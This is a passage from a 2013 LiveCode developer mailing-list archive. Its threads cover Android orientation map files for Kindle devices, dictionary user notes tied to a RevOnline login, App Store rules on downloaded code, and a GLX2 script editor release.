<5183ACC0.7070300@braguglia.ch> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> Message-ID: On 03/05/2013, at 10:25 PM, Guglielmo Braguglia wrote: > - KFOT = Kindle Fire > - KFTT = Kindle Fire HD 7" > - WFJWI = Kindle Fire HD 8.9" Wi-Fi > - WFJWA = Kindle Fire HD 8.9" WAN I haven't done much LC android work.. only Java. The file format seems poorly documented. Can I have a file like this: device=Amazon|KFOT||| device=Amazon|KFTT||| device=Amazon|WFJWI||| device=Amazon|WFJWA||| orientation_map=0,90 Or do I need an orientation_map line for each device line? Like I said before I really think a single community managed file for this would save some headaches... it could be dropped into either the IDE or engine repo... probably engine seeing as it's accepting pull requests. Cheers -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From dunbarx at aol.com Fri May 3 08:47:45 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 3 May 2013 08:47:45 -0400 (EDT) Subject: User notes in dictionary In-Reply-To: <24434881674.20130502223638@ahsoftware.net> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> <24434881674.20130502223638@ahsoftware.net> Message-ID: <8D016138AF61775-1BEC-2BA48@webmail-d217.sysops.aol.com> Mark. Is it a Mac thing? This happens on my home machine as well, and I mentioned it a year or two ago. I assume that the dictionary is tied to the LC version that calls it. So then why would opening an earlier version (4), quitting, and then opening a later one (5), cause the user notes to appear in v.5? I guess I am asking where does the dictionary really reside? I see a dictionary folder in my older Revolution 3.5 and 4.5 folders. Does the v.5 bundle contain one as well? By the way, opening version 3.5, quitting, and then opening 5.4.4 also loads the user notes. Craig -----Original Message----- From: Mark Wieder To: How to use LiveCode Sent: Fri, May 3, 2013 1:40 am Subject: Re: User notes in dictionary Craig- Thursday, May 2, 2013, 8:04:38 PM, you wrote: > "Sort" and "sort container" as examples. And dang it. I wrote those. They both show up fine here. Linux mint 14, LC 5.5.4 -- -Mark Wieder mwieder at ahsoftware.net _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From guglielmo at braguglia.ch Fri May 3 08:50:13 2013 From: guglielmo at braguglia.ch (Guglielmo Braguglia) Date: Fri, 03 May 2013 14:50:13 +0200 Subject: Mobile (Android) orientations In-Reply-To: References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> Message-ID: <5183B285.5080901@braguglia.ch> Hi Monte, never tried, but ... reading the "Android Release Notes", Pag. 29, I think that you have to do something like that : device=Amazon|KFOT||| orientation_map=0,90 device=Amazon|KFTT||| orientation_map=0,90 device=Amazon|WFJWI||| orientation_map=0,90 device=Amazon|WFJWA||| orientation_map=0,90 ... because, I think, the system first identify the model, next expect the orientation map. But ... my only Kindle is a *Kindle Fire HD 7"* ... so ... I can't test ... Guglielmo On 5/3/13 14:40 PM, Monte Goulding wrote: > On 03/05/2013, at 10:25 PM, Guglielmo Braguglia wrote: > >> - KFOT = Kindle Fire >> - KFTT = Kindle Fire HD 7" >> - WFJWI = Kindle Fire HD 8.9" Wi-Fi >> - WFJWA = Kindle Fire HD 8.9" WAN > I haven't done much LC android work.. only Java. The file format seems poorly documented. Can I have a file like this: > > device=Amazon|KFOT||| > device=Amazon|KFTT||| > device=Amazon|WFJWI||| > device=Amazon|WFJWA||| > orientation_map=0,90 > > Or do I need an orientation_map line for each device line? Like I said before I really think a single community managed file for this would save some headaches... it could be dropped into either the IDE or engine repo... probably engine seeing as it's accepting pull requests. > > Cheers > > -- > Monte Goulding > > M E R Goulding - software development services > mergExt - There's an external for that! > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From iowahengst at mac.com Fri May 3 08:52:37 2013 From: iowahengst at mac.com (Randy Hengst) Date: Fri, 03 May 2013 07:52:37 -0500 Subject: User notes in dictionary In-Reply-To: <24434881674.20130502223638@ahsoftware.net> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> <24434881674.20130502223638@ahsoftware.net> Message-ID: <910FDB4D-D152-41EA-89FE-598849CC1CCF@mac.com> I see them in LC 5.5.3 Mac 10.7.4 be well, randy ----- On May 3, 2013, at 12:36 AM, Mark Wieder wrote: > Craig- > > Thursday, May 2, 2013, 8:04:38 PM, you wrote: > >> "Sort" and "sort container" as examples. And dang it. I wrote those. > > They both show up fine here. Linux mint 14, LC 5.5.4 > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From monte at sweattechnologies.com Fri May 3 08:57:39 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 3 May 2013 22:57:39 +1000 Subject: Mobile (Android) orientations In-Reply-To: <5183B285.5080901@braguglia.ch> References: <5182EFE0.205@tweedly.net> <5183A74A.6000200@braguglia.ch> <5183ACC0.7070300@braguglia.ch> <5183B285.5080901@braguglia.ch> Message-ID: <1CD1B2C8-108E-455E-B628-D2D047152E2D@sweattechnologies.com> I'll try and poke around the engine to find this. If it doesn't work the way I said I might submit a pull request to make it do that because it makes sense... There could be hundreds of devices with that orientation map. Your point about you only having the one device is where I was going with the community managed file. I've only got a transformer prime which appears to work out of the box. Cheers -- M E R Goulding Software development services mergExt - There's an external for that! On 03/05/2013, at 10:50 PM, Guglielmo Braguglia wrote: > But ... my only Kindle is a *Kindle Fire HD 7"* ... so ... I can't test ... From skip at magicgate.com Fri May 3 09:11:55 2013 From: skip at magicgate.com (Magicgate Software - Skip Kimpel) Date: Fri, 3 May 2013 09:11:55 -0400 Subject: User notes in dictionary In-Reply-To: <910FDB4D-D152-41EA-89FE-598849CC1CCF@mac.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <51831C97.6060206@hyperactivesw.com> <8D015C215172F28-D50-1DD2C@Webmail-m109.sysops.aol.com> <24434881674.20130502223638@ahsoftware.net> <910FDB4D-D152-41EA-89FE-598849CC1CCF@mac.com> Message-ID: I see them in 5.5.4 on a PC On Fri, May 3, 2013 at 8:52 AM, Randy Hengst wrote: > I see them in LC 5.5.3 Mac 10.7.4 > > be well, > randy > ----- > On May 3, 2013, at 12:36 AM, Mark Wieder wrote: > > > Craig- > > > > Thursday, May 2, 2013, 8:04:38 PM, you wrote: > > > >> "Sort" and "sort container" as examples. And dang it. I wrote those. > > > > They both show up fine here. Linux mint 14, LC 5.5.4 > > > > -- > > -Mark Wieder > > mwieder at ahsoftware.net > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From niconiko at gmail.com Fri May 3 09:21:54 2013 From: niconiko at gmail.com (Nicolas Cueto) Date: Fri, 3 May 2013 22:21:54 +0900 Subject: [ANN] mergExt RunRevLive Special $100 off In-Reply-To: References: Message-ID: Generously tempting sales offer there, Monte. Thanks. A question, about the potential of mergExt for Android, now that LC is OSS, and now that there's those Kickstarter "Stretch Goals" in sight. Perhaps this'll be the year... Cheers. -- Nicolas Cueto From coiin at verizon.net Fri May 3 09:27:49 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 03 May 2013 09:27:49 -0400 Subject: How is this in the app store In-Reply-To: References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> Message-ID: <83655862-925D-43E4-A089-D164E9ADF766@verizon.net> Adobe have some of the same difficulties to overcome that RunRev have, with regard to loading documents into an iOS app, where the document you're loading is coming from the web. One reason you might work that way is that your online documents are large, and optional. You wouldn't want to have to embed every possible large file just in case a user will get around to viewing all of those optional files. So, an easy solution is have the media-heavy files be online, and only grab them if the user wanders into that part of your app. That then gets you into the problem area of whether those online files have any code in them. Apple do allow code that could also appear in Safari pages, HTML and Javascript would be ok, but no other code really. The way Adobe have solved this problem is to strip out all code at publish time, and to put the code into the main app, and to also export a set of code-less document files (swfs in the case of Flash). You then can place those large swfs online, and at runtime when you download one of them, it gets hooked up with its code, which is already waiting for it in the main app. This way you submit an app to the App Store that contains all of the code that it will ever need, and yet you can apparently download and run online documents that have lots of code in them. They don't really have code in them, but by the time they are in use in your app, they do. From m_p_wilcox at yahoo.co.uk Fri May 3 10:01:34 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Fri, 3 May 2013 15:01:34 +0100 (BST) Subject: How is this in the app store In-Reply-To: <83655862-925D-43E4-A089-D164E9ADF766@verizon.net> References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> <83655862-925D-43E4-A089-D164E9ADF766@verizon.net> Message-ID: <1367589694.7855.YahooMailNeo@web28804.mail.ir2.yahoo.com> Colin Holgate wrote: >>Apple do allow code that could also appear in Safari pages, HTML and Javascript would be ok, but no other code really. This is not quite true - you're only allowed to download HTML and JavaScript (+ CSS) and execute it within a standard UIWebView. ?This is why there are no genuine alternative browsers for iOS, they're limited to wrapping an alternate UI around Apple's web view implementation. I think they're going to have to give in on this one eventually or get left behind - native apps are trending towards continuous deployment and A/B testing options like the web. ?The boundaries are also incredibly hard to define. ?A recent boundary pusher is Pathmapp, which lets you A/B test native apps on the fly by creating alternate .xib files (essentially native UI layout files for those not into iOS dev) and dynamically downloading and switching them from a remote server. ?You could argue this is data, not code but clearly even this technical capability lets you change a live app from something Apple approved to something they would not have, since the layouts can reference new images and include controls that are connected up to code that wasn't used in the approved version. ?Adobe's solution has the same security hole, in that you have a whole bunch of code included that was not testable at review time. Mark From coiin at verizon.net Fri May 3 10:13:47 2013 From: coiin at verizon.net (Colin Holgate) Date: Fri, 03 May 2013 10:13:47 -0400 Subject: How is this in the app store In-Reply-To: <1367589694.7855.YahooMailNeo@web28804.mail.ir2.yahoo.com> References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> <83655862-925D-43E4-A089-D164E9ADF766@verizon.net> <1367589694.7855.YahooMailNeo@web28804.mail.ir2.yahoo.com> Message-ID: <5DF4A5C0-188C-46A6-AE25-C00458FF12A1@verizon.net> This is not quite true, too! The reviewer can try anything in the app, including the areas that happen to download online files. If they find that a feature doesn't work when in airplane mode, and you haven't required permanent Internet as part of the needs for the app, you would get rejected. You could choose to only enable certain features to be available after the date that you expect the app to be in the store, but that is true even when you're using embedded features. If after approval you then reveal a new feature, and users complain about that new feature, you would get pulled from the store. So, Adobe's solution could well be handy at times, and doesn't introduce any risks that are not already there for embedded content. On May 3, 2013, at 10:01 AM, Mark Wilcox wrote: > >Adobe's solution has the same security hole, in that you have a whole bunch of code included that was not testable at review time. From rdimola at evergreeninfo.net Fri May 3 10:45:20 2013 From: rdimola at evergreeninfo.net (Ralph DiMola) Date: Fri, 3 May 2013 10:45:20 -0400 Subject: User notes in dictionary In-Reply-To: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> Message-ID: <026f01ce480c$d64cfc20$82e6f460$@net> I see 3 Notes in sort container. I have not seen them disappear as far as I've noticed. 6.0.0 Win XP. Ralph DiMola IT Director Evergreen Information Services rdimola at evergreeninfo.net -----Original Message----- From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf Of dunbarx at aol.com Sent: Thursday, May 02, 2013 6:51 PM To: use-livecode at lists.runrev.com Subject: User notes in dictionary I think I asked this a few years ago. I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. What gives? Craig Newman _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From m_p_wilcox at yahoo.co.uk Fri May 3 10:53:00 2013 From: m_p_wilcox at yahoo.co.uk (Mark Wilcox) Date: Fri, 3 May 2013 15:53:00 +0100 (BST) Subject: How is this in the app store In-Reply-To: <5DF4A5C0-188C-46A6-AE25-C00458FF12A1@verizon.net> References: <51814541.8050008@hyperactivesw.com> <5181F135.4040305@hyperactivesw.com> <83655862-925D-43E4-A089-D164E9ADF766@verizon.net> <1367589694.7855.YahooMailNeo@web28804.mail.ir2.yahoo.com> <5DF4A5C0-188C-46A6-AE25-C00458FF12A1@verizon.net> Message-ID: <1367592780.2383.YahooMailNeo@web28805.mail.ir2.yahoo.com> Colin Holgate wrote: >> You could choose to only enable certain features to be available after the date that you expect the app to be in the store, but that is true even when you're using embedded features. If after approval you then reveal a new feature, and users complain about that new feature, you would get pulled from the store. You're 100% correct, I should have said you *can* have a whole bunch of code included that was not testable at review time. ?Of course the same applies to wrapped web apps and if you're using PhoneGap you could include some native functionality in the original app that you later access via downloaded JavaScript. ?Even with native code you could have some embedded trojan waiting for a remote signal to execute. ?Genuine malware (for which reviews are only a sham defence anyway) aside, Apple's main issue seems to be one of controlling the content in the store and the current situation where wrapped web apps can update to look and behave completely differently from what was reviewed/approved while other runtimes can't seems somewhat ridiculous. I think users complaining is problematic, since in a typical A/B test, you only enable new functionality for a small subset of users while you test it. If someone in the test population complains and Apple checks the app they won't find the offending content. ?Do they just take user's word for it and remove the app anyway? ?Seems open to terrible abuse. ?Also, there are plenty of things in the store rules which users may not have any reason to complain about at all. I'm not expecting anything to change in a hurry but fundamentally it's developers that Apple needs to trust, not individual app versions. ?Perhaps code downloading is something that is added as an explicit app capability granted at initial review - a privilege that is revoked if abused? I'm genuinely curious whether there are any technical measures in LiveCode for iOS that prevent you downloading and executing stacks? ?An exchange with Monte on the forums suggested there aren't. Mark From lc at pbh.on-rev.com Fri May 3 10:54:52 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Fri, 3 May 2013 07:54:52 -0700 Subject: User notes in dictionary In-Reply-To: <026f01ce480c$d64cfc20$82e6f460$@net> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <026f01ce480c$d64cfc20$82e6f460$@net> Message-ID: <02B49F08-601C-49D3-AB87-BD5C5D82C401@pbh.on-rev.com> I see them all too in LC 5.5.4 & LC 6.0.1 on Mac OS X 10.7.5 1 user note on 'sort' & 3 user notes on 'Sort container'. Paul On 2013-05-03, at 7:45 AM, Ralph DiMola wrote: > I see 3 Notes in sort container. I have not seen them disappear as far as > I've noticed. 6.0.0 Win XP. > > Ralph DiMola > IT Director > Evergreen Information Services > rdimola at evergreeninfo.net > > > -----Original Message----- > From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf > Of dunbarx at aol.com > Sent: Thursday, May 02, 2013 6:51 PM > To: use-livecode at lists.runrev.com > Subject: User notes in dictionary > > > > I think I asked this a few years ago. > I am using 5.5.4, but certain user notes in the dictionary do not appear > unless I: > Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. > The user notes appear in 4, if I care to look for them. But they will not > appear in 5 without that rigamarole. > What gives? > > > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri May 3 11:44:47 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 3 May 2013 11:44:47 -0400 (EDT) Subject: User notes in dictionary In-Reply-To: <02B49F08-601C-49D3-AB87-BD5C5D82C401@pbh.on-rev.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <026f01ce480c$d64cfc20$82e6f460$@net> <02B49F08-601C-49D3-AB87-BD5C5D82C401@pbh.on-rev.com> Message-ID: <8D0162C45F2B589-1BEC-2DAFD@webmail-d217.sysops.aol.com> So 2.5 do not see them, and around six do. Odd. Should I mention this to Runrev? Craig Newman -----Original Message----- From: Paul Hibbert To: How to use LiveCode Sent: Fri, May 3, 2013 10:55 am Subject: Re: User notes in dictionary I see them all too in LC 5.5.4 & LC 6.0.1 on Mac OS X 10.7.5 1 user note on 'sort' & 3 user notes on 'Sort container'. Paul On 2013-05-03, at 7:45 AM, Ralph DiMola wrote: > I see 3 Notes in sort container. I have not seen them disappear as far as > I've noticed. 6.0.0 Win XP. > > Ralph DiMola > IT Director > Evergreen Information Services > rdimola at evergreeninfo.net > > > -----Original Message----- > From: use-livecode [mailto:use-livecode-bounces at lists.runrev.com] On Behalf > Of dunbarx at aol.com > Sent: Thursday, May 02, 2013 6:51 PM > To: use-livecode at lists.runrev.com > Subject: User notes in dictionary > > > > I think I asked this a few years ago. > I am using 5.5.4, but certain user notes in the dictionary do not appear > unless I: > Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. > The user notes appear in 4, if I care to look for them. But they will not > appear in 5 without that rigamarole. > What gives? > > > Craig Newman > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From devin_asay at byu.edu Fri May 3 12:11:52 2013 From: devin_asay at byu.edu (Devin Asay) Date: Fri, 3 May 2013 16:11:52 +0000 Subject: User notes in dictionary In-Reply-To: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A01129BCD@Peas2.byu.local> On May 2, 2013, at 4:51 PM, wrote: > > > I think I asked this a few years ago. > I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: > Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. > The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. > What gives? User notes were also not showing for me in 5.5.4. (Mac 10.7.5) I seem to remember something about the Dictionary user notes being tied to the Rev Online login. I tried this-- 1. Log in to Rev Online (User Samples icon on toolbar.) 2. Quit 5.5.4, relaunch. User notes now appear. HTH Devin Devin Asay Office of Digital Humanities Brigham Young University From jacque at hyperactivesw.com Fri May 3 13:26:34 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 03 May 2013 12:26:34 -0500 Subject: User notes in dictionary In-Reply-To: <31BDC56EACAAF64688457CE3F71D9F1A01129BCD@Peas2.byu.local> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <31BDC56EACAAF64688457CE3F71D9F1A01129BCD@Peas2.byu.local> Message-ID: <5183F34A.1020800@hyperactivesw.com> On 5/3/13 11:11 AM, Devin Asay wrote: > > On May 2, 2013, at 4:51 PM, > wrote: > >> >> >> I think I asked this a few years ago. >> I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: >> Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. >> The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. >> What gives? > > > User notes were also not showing for me in 5.5.4. (Mac 10.7.5) I seem to remember something about the Dictionary user notes being tied to the Rev Online login. I tried this-- > > 1. Log in to Rev Online (User Samples icon on toolbar.) > > 2. Quit 5.5.4, relaunch. > > User notes now appear. That could explain it. I can't log in to revOnline either. It hangs at "retrieving user login". It's been that way for weeks or months or whenever it started. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From devin_asay at byu.edu Fri May 3 13:39:57 2013 From: devin_asay at byu.edu (Devin Asay) Date: Fri, 3 May 2013 17:39:57 +0000 Subject: User notes in dictionary In-Reply-To: <5183F34A.1020800@hyperactivesw.com> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <31BDC56EACAAF64688457CE3F71D9F1A01129BCD@Peas2.byu.local> <5183F34A.1020800@hyperactivesw.com> Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A0112A14D@Peas2.byu.local> On May 3, 2013, at 11:26 AM, J. Landman Gay wrote: > On 5/3/13 11:11 AM, Devin Asay wrote: >> >> On May 2, 2013, at 4:51 PM, >> wrote: >> >>> >>> >>> I think I asked this a few years ago. >>> I am using 5.5.4, but certain user notes in the dictionary do not appear unless I: >>> Quit v.5x, Open v.4x, Close v.4x, and reopen v.5x. >>> The user notes appear in 4, if I care to look for them. But they will not appear in 5 without that rigamarole. >>> What gives? >> >> >> User notes were also not showing for me in 5.5.4. (Mac 10.7.5) I seem to remember something about the Dictionary user notes being tied to the Rev Online login. I tried this-- >> >> 1. Log in to Rev Online (User Samples icon on toolbar.) >> >> 2. Quit 5.5.4, relaunch. >> >> User notes now appear. > > That could explain it. I can't log in to revOnline either. It hangs at "retrieving user login". It's been that way for weeks or months or whenever it started. Yep, that happened to me, too. But then I quit LC and relaunched and revOnline was logged in when I went back into it. (I had checked the Remember me box or whatever it is). So it seems like the login works, but it doesn't update the interface. When you relaunch you're logged in. Devin Devin Asay Office of Digital Humanities Brigham Young University From ambassador at fourthworld.com Fri May 3 14:12:04 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Fri, 03 May 2013 11:12:04 -0700 Subject: User notes in dictionary In-Reply-To: <02B49F08-601C-49D3-AB87-BD5C5D82C401@pbh.on-rev.com> References: <02B49F08-601C-49D3-AB87-BD5C5D82C401@pbh.on-rev.com> Message-ID: <5183FDF4.2090309@fourthworld.com> Paul Hibbert wrote: > I see them all too in LC 5.5.4 & LC 6.0.1 on Mac OS X 10.7.5 > > 1 user note on 'sort' & 3 user notes on 'Sort container'. I seem 'em too in v6.0.1. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From mwieder at ahsoftware.net Fri May 3 14:34:44 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 18:34:44 +0000 (UTC) Subject: ANN GLX2 Script Editor 3.0.14 Message-ID: 2013.05.03 GLX2 3.0.14 is now available for download at . It is, of course, completely compatible with both the LiveCode 6 Community and Commercial releases. Release Notes for GLX2 download site:https://bitbucket.org/mwieder/glx2/downloads For best results, it's a good idea to delete any "GLX2 Code Prefs.txt" preferences file in your Plugins directory. Some custom properties have been deprecated, and they may resurrect themselves if they're in a previously-existing preferences file and cause undefined behavior. 2013.05.02 GLX2 3.0.14 new features Speed: editing and formatting is now *much* faster Clairvoyance knows the difference between commands and functions Unclosed quoted strings are highlighted in red Return key on OSX now compiles script, Enter enters a newline Hover tooltip features: constants show their values color names show their RGB values Double-clicking a variable highlights all instances of that variable in the script Better PowerDebug integration on script errors: error text appears in GLX2 statusbar and as tooltip on line with error GLX2 now responds to the LC6 message box "show source" button known issues Double-click to find needs to narrow scope for local vars and parameters Sometimes a script tab has a formatted length of 14 (0+14) bugs fixed Structure outlines: inserting/deleting a new line wasn't adjusting outline size Script info panel was broken: now displays more information Message box kept popping up on dual-monitor systems -- Mark Wieder mwieder at ahsoftware.net From stephenREVOLUTION2 at barncard.com Fri May 3 15:11:07 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Fri, 3 May 2013 12:11:07 -0700 Subject: ANN GLX2 Script Editor 3.0.14 In-Reply-To: References: Message-ID: On Fri, May 3, 2013 at 11:34 AM, Mark Wieder wrote: > Return key on OSX now compiles script, Enter enters a newline shouldn't that be the other way around? this is the reverse of the IDE editor... -- Stephen Barncard San Francisco Ca. USA more about sqb From jacque at hyperactivesw.com Fri May 3 15:38:04 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 03 May 2013 14:38:04 -0500 Subject: User notes in dictionary In-Reply-To: <31BDC56EACAAF64688457CE3F71D9F1A0112A14D@Peas2.byu.local> References: <8D0159EAB1365C1-1BEC-257EB@webmail-d217.sysops.aol.com> <31BDC56EACAAF64688457CE3F71D9F1A01129BCD@Peas2.byu.local> <5183F34A.1020800@hyperactivesw.com> <31BDC56EACAAF64688457CE3F71D9F1A0112A14D@Peas2.byu.local> Message-ID: <5184121C.1000608@hyperactivesw.com> On 5/3/13 12:39 PM, Devin Asay wrote: > Yep, that happened to me, too. But then I quit LC and relaunched and > revOnline was logged in when I went back into it. (I had checked the > Remember me box or whatever it is). So it seems like the login works, > but it doesn't update the interface. When you relaunch you're logged > in. Aha. Okay, I tried in 6.0.1 where I have relogged in several times, and I can log into RevOnline there and the user notes do show up. So you're on to something. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From monte at sweattechnologies.com Fri May 3 15:44:59 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sat, 4 May 2013 05:44:59 +1000 Subject: [ANN] mergExt RunRevLive Special $100 off In-Reply-To: References: Message-ID: This will be year! -- M E R Goulding Software development services mergExt - There's an external for that! On 03/05/2013, at 11:21 PM, Nicolas Cueto wrote: > A question, about the potential of mergExt for Android, now that LC is OSS, > and now that there's those Kickstarter "Stretch Goals" in sight. Perhaps > this'll be the year... From capellan2000 at gmail.com Fri May 3 16:12:51 2013 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 3 May 2013 13:12:51 -0700 (PDT) Subject: ANN GLX2 Script Editor 3.0.14 In-Reply-To: References: Message-ID: <1367611970869-4664229.post@n4.nabble.com> Hi Mark, mwieder wrote > 2013.05.03 GLX2 3.0.14 is now available for download It's easy to enable or disable GLX2 inside LiveCode? Did I have to delete or erase any file of the GLX2 installation folder? Thanks in advance! Alejandro -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-GLX2-Script-Editor-3-0-14-tp4664225p4664229.html Sent from the Revolution - User mailing list archive at Nabble.com. From me at paulmaguire.me Fri May 3 16:23:23 2013 From: me at paulmaguire.me (Paul Maguire) Date: Fri, 3 May 2013 21:23:23 +0100 Subject: Cheapjack development for Windows In-Reply-To: <518392AB.2070200@gmail.com> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> Message-ID: <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> On 3 May 2013, at 11:34, Richmond wrote: > On 3.05.2013 12:34, Paul Maguire wrote: >> On 3 May 2013, at 07:14, Richmond wrote: >>> Because one can pick up an old Pentium 4 for 25 bucks, put Linux, WINE >>> and Livecode OSS on it for nix. >> >> Dare I suggest that your Mac is also a (fast) PC nowadays? I have Window 7 running in a Window here (using VMware Fusion). When I reboot using Bootcamp I have a very fast native Windows PC - no compromises. > > Dare I point out that I neither have an Intel Mac, nor can I afford one; so, dare I point out that if that comment was aimed at me it was pointless. Impossible to aim a message when using a mailing list - more like a blunderbuss than a rifle. So no - no aiming at you involved. I was trying to help mankind in general. I used the word 'dare' because I've been lurking here a few weeks, seen that there are many smart people here, and that was my very firstest postest. I wasn't being facetious, silly. > I do run Mac 10.6 using VMware on a Linux box, just as I also run Windows XP. Interesting... > But that is beside the point. Aw! > My message was aimed at those programmers who do not have large amounts of moolah to spare. Well I own an Intel mac - but I'm paying it up over 2 years. I would definitely count myself as being a proud member of the above group. > And your comment, Paul, makes me thing of Marie Antoinette; and she ended up as > "a headless server" - LOL. > If you want to eat cake with guillotined shadows don't mind me. Now this has to be the most interesting phrase I've read in some time. I have no real idea what it means as such, but it exhibits such poesis... Kind regards, Paul. From mwieder at ahsoftware.net Fri May 3 16:24:57 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 20:24:57 +0000 (UTC) Subject: ANN GLX2 Script Editor 3.0.14 References: <1367611970869-4664229.post@n4.nabble.com> Message-ID: Alejandro Tejada writes: > > Hi Mark, > > mwieder wrote > > 2013.05.03 GLX2 3.0.14 is now available for download > > It's easy to enable or disable GLX2 inside LiveCode? Yes, clicking the GLX2 icon at the right of GLX2's status bar toggles between GLX2 and the IDE's script editor. > Did I have to delete or erase any file of the GLX2 > installation folder? Per the release notes: For best results, it's a good idea to delete any "GLX2 Code Prefs.txt" preferences file in your Plugins directory. Some custom properties have been deprecated, and they may resurrect themselves if they're in a previously-existing preferences file and cause undefined behavior. But also, if you have a "GLX2 macros.txt" file in your plugin directory you should probably delete it to be sure. It *shouldn't* cause a problem, but macros were deprecated a few months ago. And happily, should no longer be necessary because we can now fix the engine to do the things I had macros for. -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Fri May 3 16:26:50 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 3 May 2013 20:26:50 +0000 (UTC) Subject: ANN GLX2 Script Editor 3.0.14 References: Message-ID: stephen barncard writes: > > On Fri, May 3, 2013 at 11:34 AM, Mark 